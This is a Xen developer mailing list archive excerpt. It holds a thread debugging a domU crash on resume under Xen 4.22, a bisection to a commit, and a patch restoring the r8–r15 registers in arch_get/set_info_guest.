 <CAHt6W4cyDAsTyOcPLcR2STQyhpkNe5W+to3JRn0yWnm3J9VF+w@mail.gmail.com>
 <al0oK0ABYviuWU5P@mail-itl>
 <CAHt6W4fWo-WXDieSM_+y1DgpjxVHTL=2KrX=b_iBhqz25jjs6g@mail.gmail.com>
MIME-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha256;
	protocol="application/pgp-signature"; boundary="ARB6yuVHPZS+oxpN"
Content-Disposition: inline
In-Reply-To: <CAHt6W4fWo-WXDieSM_+y1DgpjxVHTL=2KrX=b_iBhqz25jjs6g@mail.gmail.com>
X-purgate-ID: tlsNG-c1860d/1784501457-CD54C87B-8BFF743A/0/0
X-purgate-type: clean
X-purgate-size: 14110

--ARB6yuVHPZS+oxpN
Content-Type: text/plain; protected-headers=v1; charset=utf-8
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable
Date: Mon, 20 Jul 2026 00:50:52 +0200
From: Marek =?utf-8?B?PT91dGYtOD9RP01hcmN6eWtvd3NraS1HPUMzPUIzcmVja2k/PQ==?= <marmarek@invisiblethingslab.com>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel <xen-devel@lists.xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: domU crash when resuming from suspend - Xen 4.22

On Sun, Jul 19, 2026 at 10:04:42PM +0100, Frediano Ziglio wrote:
> On Sun, 19 Jul 2026 at 20:40, Marek Marczykowski-G=C3=B3recki
> <marmarek@invisiblethingslab.com> wrote:
> >
> > On Sun, Jul 19, 2026 at 08:31:28AM +0100, Frediano Ziglio wrote:
> > > On Sun, 19 Jul 2026 at 03:00, Marek Marczykowski-G=C3=B3recki
> > > <marmarek@invisiblethingslab.com> wrote:
> > > >
> > > > On Sat, Jul 18, 2026 at 04:03:29PM +0200, Marek Marczykowski-G=C3=
=B3recki wrote:
> > > > > On Fri, Jul 17, 2026 at 09:22:47PM +0100, Frediano Ziglio wrote:
> > > > > > On Tue, 14 Jul 2026 at 18:12, Marek Marczykowski-G=C3=B3recki
> > > > > > <marmarek@invisiblethingslab.com> wrote:
> > > > > > >
> > > > > > > On Fri, Jun 19, 2026 at 01:24:09PM +0200, Marek Marczykowski-=
G=C3=B3recki wrote:
> > > > > > > > Hi,
> > > > > > > >
> > > > > > > > I'm continuing testing 4.22 and found this:
> > > > > > > >
> > > > > > > > When a domU is suspended (even without host suspend) it cra=
shes on
> > > > > > > > resume with:
> > > > > > > >
> > > > > > > >     [   24.374629] BUG: kernel NULL pointer dereference, ad=
dress: 0000000000000020
> > > > > > > >     [   24.374647] #PF: supervisor read access in kernel mo=
de
> > > > > > > >     [   24.374657] #PF: error_code(0x0000) - not-present pa=
ge
> > > > > > > >     [   24.374668] PGD 0 P4D 0
> > > > > > > >     [   24.374675] Oops: Oops: 0000 [#1] SMP NOPTI
> > > > > > > >     [   24.374685] CPU: 0 UID: 0 PID: 19 Comm: migration/0 =
Not tainted 6.18.31-1.qubes.13.fc41.x86_64 #1 PREEMPT(full)
> > > > > > > >     [   24.374705] Stopper: multi_cpu_stop+0x0/0x140 <- __s=
top_cpus.constprop.0+0x6f/0xb0
> > > > > > > >     [   24.374723] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > > > > >     [   24.374734] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 2=
4 04 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 4=
9 f0 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20=
 41 83 fd
> > > > > > > >     [   24.374764] RSP: 0018:ffffc900000abe30 EFLAGS: 00010=
046
> > > > > > > >     [   24.374775] RAX: 0000000000000000 RBX: ffffc90000a13=
de4 RCX: 0000000000000404
> > > > > > > >     [   24.374790] RDX: 0000000000000040 RSI: fffffffffffff=
fff RDI: 0000000000770ef0
> > > > > > > >     [   24.374801] RBP: 0000000000000002 R08: ffffc900000ab=
c80 R09: ffffc900000abc8c
> > > > > > > >     [   24.374813] R10: 0000000000000000 R11: ffff88801e81c=
dc0 R12: ffffffff81835ac0
> > > > > > > >     [   24.374825] R13: 0000000000000000 R14: 0000000000000=
000 R15: 0000000000000000
> > > > > > > >     [   24.374837] FS:  0000000000000000(0000) GS:ffff88809=
b369000(0000) knlGS:0000000000000000
> > > > > > > >     [   24.374850] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000=
080050033
> > > > > > > >     [   24.374860] CR2: 0000000000000020 CR3: 000000000d6a2=
002 CR4: 0000000000770ef0
> > > > > > > >     [   24.374873] PKRU: 00000000
> > > > > > > >     [   24.374877] Call Trace:
> > > > > > > >     [   24.374884]  <TASK>
> > > > > > > >     [   24.374891]  ? __pfx_multi_cpu_stop+0x10/0x10
> > > > > > > >     [   24.374900]  cpu_stopper_thread+0xa3/0x170
> > > > > > > >     [   24.374908]  ? __pfx_smpboot_thread_fn+0x10/0x10
> > > > > > > >     [   24.374917]  smpboot_thread_fn+0xf3/0x220
> > > > > > > >     [   24.374925]  kthread+0xfc/0x240
> > > > > > > >     [   24.374933]  ? __pfx_kthread+0x10/0x10
> > > > > > > >     [   24.374940]  ? __pfx_kthread+0x10/0x10
> > > > > > > >     [   24.374949]  ret_from_fork+0x158/0x170
> > > > > > > >     [   24.374957]  ? __pfx_kthread+0x10/0x10
> > > > > > > >     [   24.374965]  ret_from_fork_asm+0x1a/0x30
> > > > > > > >     [   24.374973]  </TASK>
> > > > > > > >     [   24.374978] Modules linked in: snd_seq_dummy snd_hrt=
imer snd_seq snd_seq_device snd_timer snd soundcore cfg80211 rfkill vfat fa=
t xenfs binfmt_misc nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_rejec=
t nft_ct nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables intel_rapl_ms=
r intel_rapl_common intel_uncore_frequency_common intel_pmc_ssram_telemetry=
 intel_vsec polyval_clmulni ghash_clmulni_intel xen_netfront xen_privcmd xe=
n_gntdev xen_gntalloc xen_blkback xen_evtchn fuse loop nfnetlink ip_tables =
overlay xen_blkfront
> > > > > > > >     [   24.375064] CR2: 0000000000000020
> > > > > > > >     [   24.375071] ---[ end trace 0000000000000000 ]---
> > > > > > > >     [   24.375080] RIP: 0010:multi_cpu_stop+0x63/0x140
> > > > > > > >     [   24.375089] Code: 49 0f a3 1c 24 41 0f 92 c6 c7 44 2=
4 04 00 00 00 00 31 ed 49 8d 5f 24 eb 2d 41 83 fd 02 74 6e 41 83 fd 03 74 4=
9 f0 ff 0b 75 13 <41> 8b 47 20 41 8b 77 10 83 c0 01 41 89 77 24 41 89 47 20=
 41 83 fd
> > > > > > > >     [   24.375115] RSP: 0018:ffffc900000abe30 EFLAGS: 00010=
046
> > > > > > > >     [   24.375124] RAX: 0000000000000000 RBX: ffffc90000a13=
de4 RCX: 0000000000000404
> > > > > > > >     [   24.375142] RDX: 0000000000000040 RSI: fffffffffffff=
fff RDI: 0000000000770ef0
> > > > > > > >     [   24.375155] RBP: 0000000000000002 R08: ffffc900000ab=
c80 R09: ffffc900000abc8c
> > > > > > > >     [   24.375170] R10: 0000000000000000 R11: ffff88801e81c=
dc0 R12: ffffffff81835ac0
> > > > > > > >     [   24.375184] R13: 0000000000000000 R14: 0000000000000=
000 R15: 0000000000000000
> > > > > > > >     [   24.375200] FS:  0000000000000000(0000) GS:ffff88809=
b369000(0000) knlGS:0000000000000000
> > > > > > > >     [   24.375214] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000=
080050033
> > > > > > > >     [   24.375226] CR2: 0000000000000020 CR3: 000000000d6a2=
002 CR4: 0000000000770ef0
> > > > > > > >     [   24.375241] PKRU: 00000000
> > > > > > > >     [   24.375247] Kernel panic - not syncing: Fatal except=
ion
> > > > > > > >     [   25.417403] Shutting down cpus with NMI
> > > > > > > >     [   25.417447] Kernel Offset: disabled
> > > > > > > >
> > > > > > > > There is no change on the Linux kernel side (neither dom0 n=
or domU), the
> > > > > > > > only change is updating Xen 4.19.4 -> 4.22-rc2 (seems to be=
 already
> > > > > > > > broken on -rc1 too). This happens for both HVM and PVH doma=
ins. Haven't
> > > > > > > > tried PV domU (but dom0 survives host suspend).
> > > > > > >
> > > > > > > Any ideas?
> > > > > > >
> > > > > >
> > > > > > Hi,
> > > > > >    not many ideas but while testing my libxenguest changes I fo=
und
> > > > > > similar failures using xl create/save/restore. But I was testin=
g more
> > > > > > PV guests.
> > > > > > Does 4.21 work ?
> > > > >
> > > > > It seems 4.21 also has this issue:
> > > > > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/1541421=
1523
> > > > > But 4.20 is okay:
> > > > > https://gitlab.com/xen-project/people/marmarek/xen/-/jobs/1541422=
7095
> > > > >
> > > > > I guess I can bisect it further.
> > > >
> > > > So, bisect says the first bad commit is:
> > > >
> > > >     commit 9f892f84c27970840d255aef7e2851b762967de7
> > > >     Author: Andrew Cooper <andrew.cooper3@citrix.com>
> > > >     Date:   Mon Dec 30 11:49:14 2024 +0000
> > > >
> > > >         x86/domctl: Stop using XLAT_cpu_user_regs()
> > > >
> > > > My test isn't 100% reliable, but I retested parent of this commit a
> > > > couple of times and it was good every time.
> > > >
> > > > I wanted to test reverting it on top of 4.21, but there is a lot of
> > > > FRED-related work on top that makes such revert quite hard, to say =
the
> > > > least...
> > > >
> > >
> > > The generated XLAT_cpu_user_regs was
> > >
> > > #define XLAT_cpu_user_regs(_d_, _s_) do { \
> > >     (_d_)->__DECL_REG_LO8(b) =3D (_s_)->__DECL_REG_LO8(b); \
> > >     (_d_)->__DECL_REG_LO8(c) =3D (_s_)->__DECL_REG_LO8(c); \
> > >     (_d_)->__DECL_REG_LO8(d) =3D (_s_)->__DECL_REG_LO8(d); \
> > >     (_d_)->__DECL_REG_LO16(si) =3D (_s_)->__DECL_REG_LO16(si); \
> > >     (_d_)->__DECL_REG_LO16(di) =3D (_s_)->__DECL_REG_LO16(di); \
> > >     (_d_)->__DECL_REG_LO16(bp) =3D (_s_)->__DECL_REG_LO16(bp); \
> > >     (_d_)->__DECL_REG_LO8(a) =3D (_s_)->__DECL_REG_LO8(a); \
> > >     (_d_)->error_code =3D (_s_)->error_code; \
> > >     (_d_)->entry_vector =3D (_s_)->entry_vector; \
> > >     (_d_)->__DECL_REG_LO16(ip) =3D (_s_)->__DECL_REG_LO16(ip); \
> > >     (_d_)->cs =3D (_s_)->cs; \
> > >     (_d_)->saved_upcall_mask =3D (_s_)->saved_upcall_mask; \
> > >     (_d_)->__DECL_REG_LO16(flags) =3D (_s_)->__DECL_REG_LO16(flags); \
> > >     (_d_)->__DECL_REG_LO16(sp) =3D (_s_)->__DECL_REG_LO16(sp); \
> > >     (_d_)->ss =3D (_s_)->ss; \
> > >     (_d_)->es =3D (_s_)->es; \
> > >     (_d_)->ds =3D (_s_)->ds; \
> > >     (_d_)->fs =3D (_s_)->fs; \
> > >     (_d_)->gs =3D (_s_)->gs; \
> > > } while (0)
> > >
> > > registers are copied, but additional fields (error_code, entry_vector,
> > > saved_upcall_mask).
> > > Maybe you could try to copy them again.
> > > Also, just to be on the safe side, you could memset the structure
> > > where "Backing memory is pre-zeroed" comments are.
> >
> > This does not help :(
> >
> > Specifically:
> > 1. Applied on top of staging-4.21:
> >   - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits=
/188ca612c51a57ef54b917c833eaeb59666994c9
> >   - test (fails): https://gitlab.com/xen-project/people/marmarek/xen/-/=
pipelines/2688813821
> > 2. Applied directly on top of 9f892f84c27970840d255aef7e2851b762967de7:
> >   - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits=
/dd3dee35fc4fcd6ba284f3f5fa78b333c472888e
> >   - test (fails): https://gitlab.com/xen-project/people/marmarek/xen/-/=
pipelines/2688832398
> >
> > Yet, parent of 9f892f84c27970840d255aef7e2851b762967de7 still passes:
> >  - build: https://gitlab.com/xen-project/people/marmarek/xen/-/commits/=
dbcbbed4e9dc25faa211d359c2f04a9c70f087c9
> >  - test (pass): https://gitlab.com/xen-project/people/marmarek/xen/-/pi=
pelines/2688835512
> >
> > Hint about reading the above: I use two branches, one for building
> > (branch "test") and one for running the test (branch "automation-uki-gr=
ub-only"),
> > which takes build artifacts from the build branch. I do that to not
> > rebase test scripts. It's a bit opaque, but the console log of the test
> > contains "Latest ChangeSet" fields telling what actually was tested.
> >
>=20
> If it does not take long to test you could revert hunk by hunk
> starting from xen/include/xlat.lst.

Ok, I found what is wrong. It isn't about XLAT branch, but the native
one, x86_64 has a couple more registers...

This fixes it:

diff --git a/xen/arch/x86/domain.c b/xen/arch/x86/domain.c
index 9af833b6da59f66d58eac3369c30a89919d0d805..893ebaa13a6f934e1af026f9eb1=
3b1d18f746214 100644
--- a/xen/arch/x86/domain.c
+++ b/xen/arch/x86/domain.c
@@ -1280,6 +1280,14 @@ int arch_set_info_guest(
=20
     if ( !compat )
     {
+        v->arch.user_regs.r15               =3D c.nat->user_regs.r15;
+        v->arch.user_regs.r14               =3D c.nat->user_regs.r14;
+        v->arch.user_regs.r13               =3D c.nat->user_regs.r13;
+        v->arch.user_regs.r12               =3D c.nat->user_regs.r12;
+        v->arch.user_regs.r11               =3D c.nat->user_regs.r11;
+        v->arch.user_regs.r10               =3D c.nat->user_regs.r10;
+        v->arch.user_regs.r9                =3D c.nat->user_regs.r9;
+        v->arch.user_regs.r8                =3D c.nat->user_regs.r8;
         v->arch.user_regs.rbx               =3D c.nat->user_regs.rbx;
         v->arch.user_regs.rcx               =3D c.nat->user_regs.rcx;
         v->arch.user_regs.rdx               =3D c.nat->user_regs.rdx;
diff --git a/xen/arch/x86/domctl.c b/xen/arch/x86/domctl.c
index b8bc0caaf205828f9254e03584709482f3ba38a6..40f4cb049ce3f84ef38a6042543=
92548a41342de 100644
--- a/xen/arch/x86/domctl.c
+++ b/xen/arch/x86/domctl.c
@@ -1440,6 +1440,14 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_=
context_u c)
     if ( !compat )
     {
         /* Backing memory is pre-zeroed. */
+        c.nat->user_regs.r15               =3D v->arch.user_regs.r15;
+        c.nat->user_regs.r14               =3D v->arch.user_regs.r14;
+        c.nat->user_regs.r13               =3D v->arch.user_regs.r13;
+        c.nat->user_regs.r12               =3D v->arch.user_regs.r12;
+        c.nat->user_regs.r11               =3D v->arch.user_regs.r11;
+        c.nat->user_regs.r10               =3D v->arch.user_regs.r10;
+        c.nat->user_regs.r9                =3D v->arch.user_regs.r9;
+        c.nat->user_regs.r8                =3D v->arch.user_regs.r8;
         c.nat->user_regs.rbx               =3D v->arch.user_regs.rbx;
         c.nat->user_regs.rcx               =3D v->arch.user_regs.rcx;
         c.nat->user_regs.rdx               =3D v->arch.user_regs.rdx;

--=20
Best Regards,
Marek Marczykowski-G=C3=B3recki
Invisible Things Lab

--ARB6yuVHPZS+oxpN
Content-Type: application/pgp-signature; name=signature.asc

-----BEGIN PGP SIGNATURE-----

iQEzBAEBCAAdFiEEhrpukzGPukRmQqkK24/THMrX1ywFAmpdVMwACgkQ24/THMrX
1yyXXgf/bWMA05tcMD5uQz6TpjcxhOFv0yXLkV6G6l7frfv1sOSwbAb/rhxQy+lF
c5Qg0cZwSC23QCHAPUdpOZyfGnHyBpkuNDz654JwPkIzr8+6Qq3MeW0aetfXqrdS
sL1ugVxsrs4dpQIBlK/16CbXLTPcG1WkUrCVPDXl8CJVc3Cixtw6J1v7uBeuNGbe
NiKJtq/IndYPT35kM8omTkY7Qsk+X8hx8Eo4wqv4Kv3lBIvYR1n9WBfZNTfiSBJo
RB1mbLLggIvhSOSMxVuylStKn1njh8FDSzYya/t1CPS9BUjit7nIT/np+jjSKiXH
tXDBYByoakXlIIDhgQTDJuZF4mQL7w==
=IO8L
-----END PGP SIGNATURE-----

--ARB6yuVHPZS+oxpN--


From xen-devel-bounces@lists.xenproject.org Mon Jul 20 00:12:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 00:12:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366082.1616011 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlbcg-0000t7-NJ; Mon, 20 Jul 2026 00:12:42 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366082.1616011; Mon, 20 Jul 2026 00:12:42 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlbcg-0000sz-KT; Mon, 20 Jul 2026 00:12:42 +0000
Received: by outflank-mailman (input) for mailman id 1366082;
 Mon, 20 Jul 2026 00:12:40 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <marmarek@invisiblethingslab.com>) id 1wlbce-0000st-Ge
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 00:12:40 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlbcc-00E5qI-W2
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 02:12:39 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5d67ab-2eae-0a2a0a5409dd-0a2a450b8f74-26
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:12:38 +0200
Received: from [103.168.172.149] (helo=fout-a6-smtp.messagingengine.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <marmarek@invisiblethingslab.com>)
 id 6a5d67f5-b7e8-0a2a450b0019-67a8ac95e293-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 02:12:38 +0200
Received: from phl-compute-02.internal (phl-compute-02.internal [10.202.2.42])
 by mailfout.phl.internal (Postfix) with ESMTP id 0F1FEEC0073;
 Sun, 19 Jul 2026 20:12:37 -0400 (EDT)
Received: from phl-frontend-03 ([10.202.2.162])
 by phl-compute-02.internal (MEProxy); Sun, 19 Jul 2026 20:12:37 -0400
Received: by mail.messagingengine.com (Postfix) with ESMTPA; Sun,
 19 Jul 2026 20:12:35 -0400 (EDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=fm2 header.d=invisiblethingslab.com header.i="@invisiblethingslab.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=fm2 header.d=messagingengine.com header.i="@messagingengine.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:Feedback-ID:From:Message-ID:MIME-Version:Subject:To:X-ME-Proxy:X-ME-Sender"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	invisiblethingslab.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:from:from:in-reply-to
	:message-id:mime-version:reply-to:subject:subject:to:to; s=fm2;
	 t=1784506357; x=1784592757; bh=dzwiZvwfBNEyaxYoXCE94XEdZopGtEVY
	z3iMynT4Ijo=; b=CNYaMB2MwgmkHwSGQvD7YmJDA1mR9lTCgxIaMweWcXpvXiGU
	iZYglHP+Z12wEgfuRQ9pjKx/AFXiPr0KqkHjh+l7aUQMEX8DQMixk4Q6PyRHK63U
	YIAB3oJdpdjolIs8pgDFRzybynyT/KOdKtTUKFRr3R1dKcFulmkHKd/zaI//Kw4J
	Jh+Dm9V2nE8B1mXtM6RWN5k4EJimIQhsEaLITNW587NpcpjFpswTImj89oppQMa5
	Vvv89DxDHschpWvGA06RIJrG6S/h9C1I10Lcbxu4PXPPPe6z48nhSV8oaPB0D7Ww
	94AFExam07dIlizmnJSncXOp/BIpJypXKIrmhw==
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	messagingengine.com; h=cc:cc:content-transfer-encoding
	:content-type:content-type:date:date:feedback-id:feedback-id
	:from:from:in-reply-to:message-id:mime-version:reply-to:subject
	:subject:to:to:x-me-proxy:x-me-sender:x-me-sender:x-sasl-enc; s=
	fm2; t=1784506357; x=1784592757; bh=dzwiZvwfBNEyaxYoXCE94XEdZopG
	tEVYz3iMynT4Ijo=; b=m9fgHrie98cNWN/BWIoT5qS04W6KkJkEG8N8d5Qp5wUC
	kv0BfJ93QZDLlauoojRVga/zolMWRGxun4oi6csKe6JYRc1B5eOJmybnbM6qr5eZ
	TONTmCBr5+NdWhZnwbSbIKTP/Cry/Q5GyndaodnW4qmyAYvQeH5wJyZvwCBk+BP/
	I1X2PKZ4rS+r8YG2k5SbkoknPvWrD/Iqm4fWc+aiUlljdw6NyNzc1vbV4nvSO4vw
	Ouk8nr/myh4AG5KbTlciGIABuuCRPSwt0GDfl3mR8AZ9gnrXSMzJgH6oHW4pBSTi
	jlOvigS9mpzT4R6bE4s31GgcZQOudDofSWSi2HLwGg==
X-ME-Sender: <xms:9GddamA5SqeYaesZBXORE9eLjM2zFG66yw_VeoaNx5DT1HI6htigYg>
    <xme:9GddakPvFwYh24sARc_0vINhq1dFP5rHCrK2WCVBbvbNOu-AtsA6Jt2uBmB7GlmNJ
    7Hr1DiA5_ZtRX_05GLn9Rimjqog7ReNIl_kzHJMxsLI8CESuA>
X-ME-Received: <xmr:9GddajZsrg1JfHLl-1DJ67OEa7cFD4USUgFaJW-_zjWku4mdGa_dJggsYblhXkgFqx5yVbuHaLuSNvnklip2qJldW9a2bN8pFiqxYmRNdXg>
X-ME-Proxy-Cause: dmFkZTFtuSUmutw5AO4TgaRlea4KuQJ3KVZWAf5qprd1JNS/qSFj0TirKfEsQKDKpm4dys
    GGwZeTypmfM4/SN592GGSNZC47zMVWS8vX3d+5FYwERfFbazUvY2CIypuK9FoIptzvt6ss
    QCVe7OEnx3eTKoTqFPfKV4wBPmA6yxVfpFr8Ss3bVGTpAhdvfh6CqybIVRT8fF49FLt7Oc
    rYc8G0ej+oY8CFeGoKwxbGiJZJioz5Zx5xlHEn8dYaL2f+gRft2kaRZ8WRhribTQa0Zg/L
    sLrUw466UJdtjPA/hdQC/HcLbgbEkJX9TWutsF/P8O8xoG/t/uupksPGYDu7DILhTsYOPv
    axVC0wsPYczDgJjFaDg6ZGNw5Lv0XTraXbhGk6aSxRe/PhG3Ac+txxbGTDqi+frHkKjaOb
    6b379DZfWaWnOqrMOHdLkp+HLpX1I3bikQEH8ahA/ByVIF377GlgC8hIhR2Hd6t0+WUwSn
    GXF6vz94diM1zLmE02FclHJahX3RIdnaQEMbieocT2WdG2DDnvzW/Rx1Vl5s/mACkK3+dI
    NHCQBREzGwSeG30QQRdQRl4FwoE8QwC+YJJrrh2rwh3Jzlm5aYs0sfSZdSF/hneiXC/Scl
    iXPecuCceY6Zgm1yq8iolHfrDAUObKTsxRQFt5CjqSSdc4ojQM/0v0wGaNag
X-ME-Proxy: <xmx:9GddarsGMgKaQRpCGVR3QhMfa7ORTvU-qGJN6Xl8tLpTgiQb_aLZ6g>
    <xmx:9GddatOuMqZUK3kREIOzsbI5eGGN6JYYPpAq9CnJkXbfLQhMi5rzMw>
    <xmx:9Gddaq4gWgBac45IwMuGF4gaPJUNVPxjOhhEb7hAaXrWiDf3kx-kMw>
    <xmx:9GddarS0LDLcRzslbrixM9dtuAYmNO193usIz3O-YfKrxqp-eugbcA>
    <xmx:9WddamcFSCSS3RYC9vaIx0S71O8NeK56QjuxjD_ZBVCUnWiCmJWudVZW>
Feedback-ID: i1568416f:Fastmail
From: =?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>
To: xen-devel@lists.xenproject.org
Cc: =?UTF-8?q?Marek=20Marczykowski-G=C3=B3recki?= <marmarek@invisiblethingslab.com>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>
Subject: [PATCH] x86/domctl: restore all registers in arch_{get,set}_info_guest()
Date: Mon, 20 Jul 2026 02:12:18 +0200
Message-ID: <20260720001223.2876628-1-marmarek@invisiblethingslab.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-42698a/1784506358-186CA9EA-BB2D4E1C/0/0
X-purgate-type: clean
X-purgate-size: 2805

Commit 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
converted memcpy() of the cpu_user_regs structure to explicit copy of
its fields. In the compat case, it intentionally missed few of them,
named in the commit message. But the 64bit case missed also r8-r15
registers, which was not intentional. This, at least, caused Linux
6.18.x crash when resuming PVH domU.

Fix it by adding missing assignments.

Fixes: 9f892f84c279 ("x86/domctl: Stop using XLAT_cpu_user_regs()")
Signed-off-by: Marek Marczykowski-GÃ³recki <marmarek@invisiblethingslab.com>
---
 xen/arch/x86/domain.c | 8 ++++++++
 xen/arch/x86/domctl.c | 8 ++++++++
 2 files changed, 16 insertions(+)

diff --git a/xen/arch/x86/domain.c b/xen/arch/x86/domain.c
index 1d458f1372e5..ba7244ccc513 100644
--- a/xen/arch/x86/domain.c
+++ b/xen/arch/x86/domain.c
@@ -1255,6 +1255,14 @@ int arch_set_info_guest(
 
     if ( !compat )
     {
+        v->arch.user_regs.r15               = c.nat->user_regs.r15;
+        v->arch.user_regs.r14               = c.nat->user_regs.r14;
+        v->arch.user_regs.r13               = c.nat->user_regs.r13;
+        v->arch.user_regs.r12               = c.nat->user_regs.r12;
+        v->arch.user_regs.r11               = c.nat->user_regs.r11;
+        v->arch.user_regs.r10               = c.nat->user_regs.r10;
+        v->arch.user_regs.r9                = c.nat->user_regs.r9;
+        v->arch.user_regs.r8                = c.nat->user_regs.r8;
         v->arch.user_regs.rbx               = c.nat->user_regs.rbx;
         v->arch.user_regs.rcx               = c.nat->user_regs.rcx;
         v->arch.user_regs.rdx               = c.nat->user_regs.rdx;
diff --git a/xen/arch/x86/domctl.c b/xen/arch/x86/domctl.c
index 07f712a0a40d..3ea4c650eee0 100644
--- a/xen/arch/x86/domctl.c
+++ b/xen/arch/x86/domctl.c
@@ -1481,6 +1481,14 @@ void arch_get_info_guest(struct vcpu *v, vcpu_guest_context_u c)
     if ( !compat )
     {
         /* Backing memory is pre-zeroed. */
+        c.nat->user_regs.r15               = v->arch.user_regs.r15;
+        c.nat->user_regs.r14               = v->arch.user_regs.r14;
+        c.nat->user_regs.r13               = v->arch.user_regs.r13;
+        c.nat->user_regs.r12               = v->arch.user_regs.r12;
+        c.nat->user_regs.r11               = v->arch.user_regs.r11;
+        c.nat->user_regs.r10               = v->arch.user_regs.r10;
+        c.nat->user_regs.r9                = v->arch.user_regs.r9;
+        c.nat->user_regs.r8                = v->arch.user_regs.r8;
         c.nat->user_regs.rbx               = v->arch.user_regs.rbx;
         c.nat->user_regs.rcx               = v->arch.user_regs.rcx;
         c.nat->user_regs.rdx               = v->arch.user_regs.rdx;
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 07:00:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 07:00:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1366124.1616020 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlhz2-00068N-Lq; Mon, 20 Jul 2026 07:00:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1366124.1616020; Mon, 20 Jul 2026 07:00:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlhz2-00068F-Gk; Mon, 20 Jul 2026 07:00:12 +0000
Received: by outflank-mailman (input) for mailman id 1366124;
 Mon, 20 Jul 2026 07:00:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wlhz1-000689-1G
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 07:00:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlhyz-005gkV-Bi
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 09:00:09 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a5dc772-2eae-0a2a0a5409dd-0a2a450ba4b2-30
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 09:00:09 +0200
Received: from [209.85.128.44] (helo=mail-wm1-f44.google.com)
